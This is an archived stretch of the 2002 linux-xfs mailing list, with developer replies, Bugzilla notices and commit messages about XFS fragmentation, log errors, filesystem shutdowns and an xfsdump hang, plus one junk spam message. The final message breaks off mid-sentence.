-0600 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA99861; Wed, 13 Nov 2002 19:50:26 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-18.corp.sgi.com [134.15.64.18]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id TAA16525; Wed, 13 Nov 2002 19:50:18 -0600 (CST) Subject: RE: Defrag Utility From: Stephen Lord To: LA Walsh Cc: linux-xfs@oss.sgi.com In-Reply-To: <001e01c28b7e$ae07eb90$1403a8c0@sc.tlinx.org> References: <001e01c28b7e$ae07eb90$1403a8c0@sc.tlinx.org> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.8 Date: 13 Nov 2002 19:45:07 -0600 Message-Id: <1037238308.2169.14.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAE1mquR020615 X-archive-position: 1700 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-11-13 at 19:39, LA Walsh wrote: > > My system looks like: (files/dirs). > /: > xfs_db: actual 152457, ideal 152451, fragmentation factor 0.00% > xfs_db: actual 4090, ideal 3459, fragmentation factor 15.43% > /boot: > xfs_db: actual 58, ideal 58, fragmentation factor 0.00% > xfs_db: actual 2, ideal 2, fragmentation factor 0.00% > /tmp: > xfs_db: actual 6, ideal 6, fragmentation factor 0.00% > xfs_db: actual 0, ideal 0, fragmentation factor 0.00% > /var: > xfs_db: actual 15924, ideal 14822, fragmentation factor 6.92% > xfs_db: actual 276, ideal 206, fragmentation factor 25.36% > /home: > xfs_db: actual 104276, ideal 100041, fragmentation factor 4.06% > xfs_db: actual 4586, ideal 4474, fragmentation factor 2.44% > /backups: > xfs_db: actual 1952, ideal 660, fragmentation factor 66.19% > xfs_db: actual 16, ideal 11, fragmentation factor 31.25% > ---- > This is with no xfs_fsr (since it doesn't exist on my system) > with > fs's about 9 months old, maybe? > > Looks like I could use a good xfs_fsr. Am running SuSE8.1 and > doesn't appear they included it. I don't think you do, if you look at the actual numbers, only one filesystem is really fragmented, the /backups one, and it does not have many files. Also you cannot defragment directories. We package fsr with dump/restore which is a separate rpm, so see if you have on of those. > > > Then freesp lists the sizes of freespace: > > > > from to extents blocks pct > > 1 1 461 461 0.11 > > 2 3 335 776 0.18 > > 4 7 215 1135 0.26 > > 8 15 231 2611 0.60 > > 16 31 149 3249 0.75 > > 32 63 155 6930 1.60 > > 64 127 153 13900 3.21 > > 128 255 139 25120 5.80 > > 256 511 80 29159 6.74 > > 512 1023 40 26903 6.21 > > 1024 2047 12 17903 4.14 > > 2048 4095 6 18091 4.18 > > 4096 8191 1 4628 1.07 > > 8192 16383 1 14674 3.39 > > 32768 65535 5 267378 61.76 > --- > So, ideally, would all of the extent ranges have at most 1 extent -- > except > for the 32768-65535 range which would have some number of extents > equivalent to something close to free blocks/64K? No, these are just arbitary buckets for reporting purposes, you can make it output it differently I think. > As for me doing 'timings and testings'...I can add that to my > 'list'...of > things it would 'be good to do'...:-). Seriously though -- perhaps I am > naïve, but someone must have thought there was some benefit to be gained > by > having a defrag utility for xfs. As mentioned -- it's not that common > on > *nixes. So I'm wondering what/who (maybe unknown after many years) > prompted > the creation of such a utility. Someone must have thought either > thought > it was needed or that it would make a difference. I realize, though, > that > doesn't mean there was any hard evidence and could have been added on a > whim :-). > > linda > It was written for some media customers who were managing to create pathologically fragmented files which could not then be streamed of the disk at a decent speed. If you know how to you can make xfs fragment files really badly. Steve From owner-linux-xfs@oss.sgi.com Wed Nov 13 18:13:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 18:13:55 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAE2DruR021309 for ; Wed, 13 Nov 2002 18:13:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAE2DrCJ021308 for linux-xfs@oss.sgi.com; Wed, 13 Nov 2002 18:13:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAE2DquT021294 for ; Wed, 13 Nov 2002 18:13:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAE23Zma021196; Wed, 13 Nov 2002 18:03:35 -0800 Date: Wed, 13 Nov 2002 18:03:35 -0800 Message-Id: <200211140203.gAE23Zma021196@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 193] New: when tested with fsstress in scsi, the process is locked. X-Bugzilla-Reason: AssignedTo X-archive-position: 1701 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=193 Summary: when tested with fsstress in scsi, the process is locked. Product: Linux XFS Version: Current Platform: IA32 OS/Version: Linux Status: NEW Severity: blocker Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: wddi_1976@yahoo.com.cn What kernel are you using: 2.4.19-xfs Where did the XFS code come from? (CVS, Linus, your distribution, etc): CVS kernel Description of Problem: Just now, I tried that test on the cvs kernel again, it did not oops anymore, but it is locked after a while, I studied all the process trace of the system, it seems that only one process is locked, the trace is here. __down() __down_failed() [xfs].text.lock.xfs_log xlog_state_get_iclog_space() xlog_write() xfs_log_write() xfs_trans_commit() xfs_attr_rolltrans£¨£© xfs_attr_mode_addname() xfs_attr_set() linvfs_setxattr() setxattr() sys_lsetxattr() system_call() (It seems that some process was wirting the log to disk. but no other process was writing to disk at this time) How Reproducible: Run the shell command /fsstress -d /mnt/tmp \ -f allocsp=0 \ -f freesp=0 \ -f bulkstat=0 \ -f bulkstat1=0 \ -f resvsp=0 \ -f unresvsp=0 \ -f attr_set=100 -f attr_remove=100 \ -S -p 1 -n 10000 (A 200m xfs partition is mounted at /mnt/tmp, use scsi) fsstress is the program provided in xfstest package. Actual Results: the process was locked. Additional Information: ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Wed Nov 13 22:46:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 22:46:42 -0800 (PST) Received: from tolkor.sgi.com (tolkor.sgi.com [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAE6kcuR024665 for ; Wed, 13 Nov 2002 22:46:38 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAE6q0kq015649 for ; Thu, 14 Nov 2002 00:52:00 -0600 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA31989 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 17:46:55 +1100 (EST) Date: Thu, 14 Nov 2002 17:46:55 +1100 (EST) From: Nathan Scott Message-Id: <200211140646.RAA31989@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfs_db X-archive-position: 1702 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Fix an endian bug in xfs_db freesp command. Date: Wed Nov 13 22:45:46 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133041a cmd/xfsprogs/db/freesp.c - 1.7 cmd/xfsprogs/VERSION - 1.62 cmd/xfsprogs/doc/CHANGES - 1.87 cmd/xfsprogs/debian/changelog - 1.55 - Fix an endian bug in xfs_db freesp command, bump minor version. From owner-linux-xfs@oss.sgi.com Thu Nov 14 03:58:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 03:58:17 -0800 (PST) Received: from relay1.9netave.com (relay1.9netave.com [216.156.2.19] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAEBwCuR011550 for ; Thu, 14 Nov 2002 03:58:12 -0800 Received: from mail.9netave.com ([216.156.1.199]) by relay1.9netave.com (8.9.3/8.8.8) with SMTP id HAA62497; Thu, 14 Nov 2002 07:17:55 -0500 (EST) Date: Thu, 14 Nov 2002 07:17:55 -0500 (EST) Message-Id: <200211141217.HAA62497@relay1.9netave.com> To: lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com, lhphuket.com From: milfordeu@ramhb.com.sgi.com Subject: XXX *Instant Access*!! X-archive-position: 1703 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: milfordeu@ramhb.com.sgi.com Precedence: bulk X-list: linux-xfs Sent from milfordeu@ramhb.com milfordeu@ramhb.com y9pb 16 Brand Spankin New XXX Sites! See them all with instant access! Click here!!! :) If the link isn't working above, click this link http://rd.yahoo.com/ep8220/*http://members.aol.com/coldheart16/JOSEFINA.html ho olvos From owner-linux-xfs@oss.sgi.com Thu Nov 14 04:43:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 04:43:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEChruR012926 for ; Thu, 14 Nov 2002 04:43:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEChrKd012925 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 04:43:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEChquR012911 for ; Thu, 14 Nov 2002 04:43:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAECV3RZ012787; Thu, 14 Nov 2002 04:31:03 -0800 Date: Thu, 14 Nov 2002 04:31:03 -0800 Message-Id: <200211141231.gAECV3RZ012787@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 194] New: xfs internal log errors X-Bugzilla-Reason: AssignedTo X-archive-position: 1704 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=194 Summary: xfs internal log errors Product: Linux XFS Version: 1.1.x Platform: IA32 OS/Version: Linux Status: NEW Severity: major Priority: High Component: xfsprogs AssignedTo: xfs-master@oss.sgi.com ReportedBy: grandsonata@netscape.net Description of Problem: After using filesystem. there is error in the internal journal log. How Reproducible: Steps to Reproduce: 1. mkfs.xfs /dev/hda3 2. xfs_logprint (ok) 3. use filesystem (copy directories from ext3) 4. xfs_logprint (error in log) Actual Results: Header 0x1 wanted 0xfeedbabe ERROR: header cycle=1 block=8 Bad log record header Expected Results: Additional Information: xfs_logprint: skipped 60124 zeroed blocks xfs_logprint: physical end of log ============================================================================ xfs_logprint: logical end of log Please tell me what to do ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 14 06:07:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 06:07:48 -0800 (PST) Received: from gk.ka.epigenomics.net (qmailr@gk.ka.epigenomics.net [62.159.77.106]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAEE7fuR014148 for ; Thu, 14 Nov 2002 06:07:42 -0800 Received: (qmail 20207 invoked from network); 14 Nov 2002 14:09:21 -0000 Received: from einstein.epigenomics.epi (qmailr@192.168.1.4) by weinberg.epigenomics.epi with SMTP; 14 Nov 2002 14:09:21 -0000 Received: (qmail 17111 invoked from network); 14 Nov 2002 14:09:20 -0000 Received: from broglie.epigenomics.epi (qmailr@192.168.1.5) by einstein.epigenomics.epi with SMTP; 14 Nov 2002 14:09:20 -0000 Received: (qmail 16593 invoked by uid 9); 14 Nov 2002 14:09:20 -0000 From: Robert Sander Reply-To: Robert Sander X-Newsgroups: epi.ml.linux.xfs Subject: corruption of in-memory data Date: Thu, 14 Nov 2002 14:09:20 +0000 (UTC) Organization: Epigenomics AG Lines: 20 Message-ID: X-Complaints-To: usenet@epigenomics.com User-Agent: slrn/0.9.7.4 (Linux) To: linux-xfs@oss.sgi.com X-archive-position: 1705 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ml-linux-xfs@epigenomics.com Precedence: bulk X-list: linux-xfs Hi! We just got this: Nov 14 14:41:54 raman kernel: xfs_force_shutdown(sd(8,17),0x8) called from line 1041 of file xfs_trans.c. Return address = 0xf8932de9 Nov 14 14:41:54 raman kernel: Corruption of in-memory data detected. Shutting down filesystem: sd(8,17) Nov 14 14:41:54 raman kernel: Please umount the filesystem, and rectify the problem(s) After rebooting xfs_check showed no errors. The kernel is a 2.4 CVS checkout from Oct 31st running since Saturday. Are there any known issues with that kernel? Greetings -- Robert Sander Manager Information Systems www.epigenomics.com Kastanienallee 24 +493024345330 10435 Berlin From owner-linux-xfs@oss.sgi.com Thu Nov 14 06:18:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 06:18:20 -0800 (PST) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAEEIDuR014638 for ; Thu, 14 Nov 2002 06:18:14 -0800 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id gAEEJmc14383; Thu, 14 Nov 2002 15:19:48 +0100 Date: Thu, 14 Nov 2002 15:19:48 +0100 (CET) From: Matteo Centonza To: Robert Sander cc: linux-xfs@oss.sgi.com Subject: Re: corruption of in-memory data In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1706 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Hi Robert, > We just got this: > > Nov 14 14:41:54 raman kernel: xfs_force_shutdown(sd(8,17),0x8) called from line 1041 of file xfs_trans.c. Return address = 0xf8932de9 > Nov 14 14:41:54 raman kernel: Corruption of in-memory data detected. Shutting down filesystem: sd(8,17) > Nov 14 14:41:54 raman kernel: Please umount the filesystem, and rectify the problem(s) > > After rebooting xfs_check showed no errors. > > The kernel is a 2.4 CVS checkout from Oct 31st running since Saturday. > > Are there any known issues with that kernel? just look at http://marc.theaimsgroup.com/?l=linux-xfs&m=103649280529459&w=2 IIRC, the latest prerelease (pre3) should have a fix for this (it's fixed in CVS). Ciao, -m From owner-linux-xfs@oss.sgi.com Thu Nov 14 06:56:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 06:56:59 -0800 (PST) Received: from sto-vo-kor.koschikode.com (sto-vo-kor.koschikode.com [217.111.19.142]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAEEujuR021662 for ; Thu, 14 Nov 2002 06:56:46 -0800 Received: from koschikode.com (pktomo.altus.de [192.168.0.62]) by sto-vo-kor.koschikode.com (Postfix) with ESMTP id C08F4F5F3 for ; Thu, 14 Nov 2002 15:22:27 +0100 (CET) Message-ID: <3DD3B1A1.4090307@koschikode.com> Date: Thu, 14 Nov 2002 15:22:25 +0100 From: Juri Haberland User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: en-us, en, de-de MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: corruption of in-memory data References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1707 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: juri@koschikode.com Precedence: bulk X-list: linux-xfs Robert Sander wrote: > Hi! > > We just got this: > > Nov 14 14:41:54 raman kernel: xfs_force_shutdown(sd(8,17),0x8) called > from line 1041 of file xfs_trans.c. Return address = 0xf8932de9 > Nov 14 14:41:54 raman kernel: Corruption of in-memory data detected. > Shutting down filesystem: sd(8,17) > Nov 14 14:41:54 raman kernel: Please umount the filesystem, and > rectify the problem(s) > > After rebooting xfs_check showed no errors. > > The kernel is a 2.4 CVS checkout from Oct 31st running since Saturday. > > Are there any known issues with that kernel? Yes, there is, see: http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 . Update your kernel to the current cvs version. It should be fixed. Regards, Juri -- If each of us have one object, and we exchange them, then each of us still has one object. If each of us have one idea, and we exchange them, then each of us now has two ideas. From owner-linux-xfs@oss.sgi.com Thu Nov 14 07:47:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 07:47:15 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAEFlCuR025104 for ; Thu, 14 Nov 2002 07:47:12 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAEDmrG8029220 for ; Thu, 14 Nov 2002 05:48:53 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA06307; Thu, 14 Nov 2002 09:48:49 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA99352; Thu, 14 Nov 2002 09:48:49 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAEFmTi08022; Thu, 14 Nov 2002 09:48:29 -0600 Subject: Re: FileSystem >2 Terabytes From: Steve Lord To: Gabor Forgacs Cc: linux-xfs@oss.sgi.com In-Reply-To: <1037119867.27025.36.camel@jen.americas.sgi.com> References: <200211121648.21283.gabor@colorfront.com> <1037119867.27025.36.camel@jen.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037288909.7522.14.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 14 Nov 2002 09:48:29 -0600 X-archive-position: 1708 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 10:51, Steve Lord wrote: > On Tue, 2002-11-12 at 09:48, Gabor Forgacs wrote: > > Hi > > > > Is it possible to use any filesystem under linux which is bigger than 2Tbytes. > > Is there any solution ? > > The 2.5 kernel series has support for this, there is a patch for 2.4 > as well. We probably need to flip a define in XFS to make it support > the large sizes again. > > Steve Sending this to the list since Gabor's email always bounces. The correct patch location is here: http://www.gelato.unsw.edu.au/patches/2.4.20-rc1-lbd.patch Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Nov 14 12:13:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 12:13:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEKDsuR002613 for ; Thu, 14 Nov 2002 12:13:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEKDsXa002610 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 12:13:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEKDquT002576 for ; Thu, 14 Nov 2002 12:13:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEJrooS002071; Thu, 14 Nov 2002 11:53:50 -0800 Date: Thu, 14 Nov 2002 11:53:50 -0800 Message-Id: <200211141953.gAEJrooS002071@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 194] xfs internal log errors X-Bugzilla-Reason: AssignedTo X-archive-position: 1709 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=194 ------- Additional Comments From cattelan@thebarn.com 2002-11-14 11:53 ------- Is the files system still mounted after the copy? dumping the log of a mounted file system is rather nondeterministic. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 14 12:13:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 12:13:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEKDsuR002612 for ; Thu, 14 Nov 2002 12:13:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEKDscE002611 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 12:13:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEKDqub002576 for ; Thu, 14 Nov 2002 12:13:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEJip95001919; Thu, 14 Nov 2002 11:44:51 -0800 Date: Thu, 14 Nov 2002 11:44:51 -0800 Message-Id: <200211141944.gAEJip95001919@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 186] xfs_force_shutdown in xfs_trans_cancel X-Bugzilla-Reason: AssignedTo X-archive-position: 1710 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 cattelan@thebarn.com changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |FIXED ------- Additional Comments From cattelan@thebarn.com 2002-11-14 11:44 ------- Last patch seems to have fixed the problem ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 14 14:13:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 14:14:00 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEMDtuR004487 for ; Thu, 14 Nov 2002 14:13:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAEMDt7Z004486 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 14:13:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAEMDquR004472 for ; Thu, 14 Nov 2002 14:13:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAELrrNN004298; Thu, 14 Nov 2002 13:53:53 -0800 Date: Thu, 14 Nov 2002 13:53:53 -0800 Message-Id: <200211142153.gAELrrNN004298@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 194] xfs internal log errors X-Bugzilla-Reason: AssignedTo X-archive-position: 1711 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=194 ------- Additional Comments From grandsonata@netscape.net 2002-11-14 13:53 ------- I tried both mounted and umounted. I ensure the log was ok first before I do the copying and umounting with xfs_repair. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 14 21:23:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 14 Nov 2002 21:23:34 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAF5NUuR015021 for ; Thu, 14 Nov 2002 21:23:30 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAF4SdKp018471 for ; Thu, 14 Nov 2002 20:28:40 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA24197 for linux-xfs@oss.sgi.com; Fri, 15 Nov 2002 16:22:39 +1100 (EST) Date: Fri, 15 Nov 2002 16:22:39 +1100 (EST) From: Nathan Scott Message-Id: <200211150522.QAA24197@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - QA scripts X-archive-position: 1712 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Allow timestamp display to be configured on/off instead of always off. Update entries for hosts troppo and goldfish. Date: Thu Nov 14 12:10:01 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133093a cmd/xfstests/common.config - 1.25 - Update entries for hosts troppo and goldfish. Date: Thu Nov 14 21:21:22 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133178a cmd/xfstests/check - 1.9 - Allow timestamp display to be configured on/off instead of always off. From owner-linux-xfs@oss.sgi.com Fri Nov 15 02:13:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 02:13:52 -0800 (PST) Received: from inje.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFADjuR020613 for ; Fri, 15 Nov 2002 02:13:46 -0800 Received: from magla.zg.iskon.hr (oganj.iskon.hr [213.191.128.21]) by mail.iskon.hr (8.11.4/8.11.4/Iskon 8.11.3-1) with ESMTP id gAFAFUG27801 for ; Fri, 15 Nov 2002 11:15:31 +0100 (MET) Received: from magla.zg.iskon.hr (zcalusic@localhost [127.0.0.1]) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAFAFUov005517 for ; Fri, 15 Nov 2002 11:15:30 +0100 Received: (from zcalusic@localhost) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) id gAFAFTai005514; Fri, 15 Nov 2002 11:15:29 +0100 To: linux-xfs@oss.sgi.com Subject: xfsdump stuck in io_schedule Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Fri, 15 Nov 2002 11:15:29 +0100 Message-ID: Lines: 24 User-Agent: Gnus/5.090005 (Oort Gnus v0.05) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1713 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Hi! This is my first post to linux-xfs, so please be gentle. First of all, I would like to thank you guys for bringing us such a high performance file system. And thanks SGI for making it GPL. Back to the subject, recently I converted all my FS-es from ext3 to xfs, and now I'm trying to convert my old backup script (which used dump) to work w/ xfs. But I'm having problems with xfsdump, sooner or later it will block in uninterruptible sleep, and dmesg shows lots of: xfsdump: page allocation failure. order:0, mode:0x0 xfsdump: page allocation failure. order:0, mode:0x0 ... % ps axo pid,command,state,wchan | grep xfsdump 5442 xfsdump D io_schedule The process 